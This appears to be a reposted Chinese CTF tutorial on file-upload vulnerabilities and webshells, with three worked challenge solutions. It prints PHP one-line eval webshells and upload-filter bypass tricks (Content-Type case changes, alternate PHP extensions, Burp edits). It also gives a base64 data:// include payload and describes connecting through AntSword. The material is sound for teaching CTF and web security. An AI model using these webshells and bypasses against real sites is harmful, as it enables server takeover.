CTF-WEB:文件上傳和 webshell


文件上傳

一句話木馬

利用文件上傳漏洞往目標網站中上傳一句話木馬,然后就可以在本地獲取和控制整個網站目錄。利用一句話木馬進行入侵時需要滿足木馬上傳成功未被查殺,知道木馬的路徑在哪並保證上傳的木馬能正常運行。一個簡單的 PHP 一句話木馬如下:

<?php @eval($_POST['flag']) ?>

@ 表示后面即使執行錯誤也不報錯,eval()函數表示括號內的語句字符串什么的全都當做代碼執行,$_POST['flag']表示從頁面中獲得 flag 這個參數值。

上傳過濾

為了使得網頁不容易被攻擊,網頁經常需要通過一些手段來過濾不希望接收的文件。首先是 multipart/form-data 過濾,該過濾需要在表單中進行文件上傳時,就需要使用該格式,意思是他通過表單會對文件格式再進行一次判斷,並會在后端進行判斷。這種過濾只支持小寫字符,因此繞過方法為將抓到的包中的 Content-Type 字段中的 “multipart/form-data” 中隨便一個字母改為大寫。
第二是文件類型過濾,為了不讓用戶隨便傳些文件,只是要讓用戶上傳圖片時,就可以限制只能上傳圖片。還有一種是文件后綴名過濾,例如后綴名是 “.php” 的文件都攔截不能上傳,如果是在解題的情況下可以嘗試用 PHP 其他后綴進行上傳例如:php2, php3, php4, php5,phps, pht, phtm, phtml。

webshell

當網頁已經上傳過一句話木馬時,說明可以利用該木馬連接到網頁上,例如下面這個網頁。

“web” 的含義是顯然需要服務器開放 web 服務,“shell” 的含義是取得對服務器某種程度上操作權限。webshell 常常被稱為入侵者通過網站端口對網站服務器的某種程度上操作的權限,可以使用蟻劍或者菜刀等工具進行提權。以蟻劍為例,打開蟻劍后右鍵選擇添加數據。

然后填入需要提權的網頁 url,以及一句話木馬的連接密碼。

添加之后可以右鍵進行一系列操作,例如可以查看網頁的文件,選擇文件管理。

之后就可以查看並操作網頁的文件了,例如這個網頁的 html 目錄下就有 flag。

例題:bugku-求 getshell

打開網頁,這個明顯是文件上傳漏洞,題目要求傳入一個圖片,不能是 php。

這是后綴名黑名單檢測,注意到使用了 multipart/form-data,所以通過對請求頭中的 Content-Type 進行大小寫繞過,將 multipart/form-data 隨便一個字母改成大寫。然后這個網頁只能上傳文件,因此把 Content-Type 字段的值改為 “image/jpeg”。最后還有個文件擴展名過濾,測試后發現 “.php5” 后綴沒有被過濾。綜上所述文件上傳的包修改如下,上傳獲得 flag。

例題:攻防世界-upload1

打開網頁,看到一個文件上傳的按鈕,考慮上傳一句話木馬之后用蟻劍連接。

首先先看一下源碼,源碼會對傳入的文件的類型進行過濾,也就是說如果傳的不是圖片,上傳按鈕會被禁用並彈窗報錯。

Array.prototype.contains = function (obj) {  
    var i = this.length;  
    while (i--) {  
        if (this[i] === obj) {  
            return true;  
        }  
    }  
    return false;  
}  

function check()
{
    upfile = document.getElementById("upfile");
    submit = document.getElementById("submit");
    name = upfile.value;
    ext = name.replace(/^.+\./,'');      //刪除文件的名稱

    if(['jpg','png'].contains(ext))      //檢查后綴是否為 jpg 或 png
    {
        submit.disabled = false;
    }
    else
    {
        submit.disabled = true;
        alert('請選擇一張圖片文件上傳!');
    }
}

由此可見過濾是在前端,我們只需要繞過前端的過濾就照樣能提交一句話木馬。先將一句話木馬的后綴名改為 jpg,然后上傳到網頁。接着按上傳按鈕,然后用 Burp 抓包,修改文件名的后綴為 “.php”。

上傳成功后會返回一個文件名,直接訪問是沒有用的,使用蟻劍進行連接。


連接之后在 html 目錄下有個 flag.php,打開就能看到 flag 了。

例題:攻防世界-Web_php_include

打開網頁,看到一段 PHP 代碼如下,觀察到這段代碼有 include() 函數,因此這題要考慮文件包含漏洞。strstr() 函數查找字符串首次出現的位置,然后返回字符串剩余部分。注意到這段代碼使用了 strstr() 函數將傳入參數中的 “php://” 全部刪了,也就是說此處無法直接使用 PHP 偽協議來完成。

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

除了使用 data 偽協議執行命令以外,還可以使用它傳遞一句話木馬,然后進行 webshell。首先寫出要上傳的一句話木馬:

<?php eval(@$_POST['attack']);?>

然后把它用 base64 加密,然后用 data 偽協議傳入,這樣網頁就會把一句話木馬包含進去。

?page=data://text/plain/;base64,PD9waHAgZXZhbChAJF9QT1NUWydhdHRhY2snXSk7Pz4=

使用蟻劍連接,連接成功后打開 “fl4gisisish3r3.php” 就能看到 flag。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM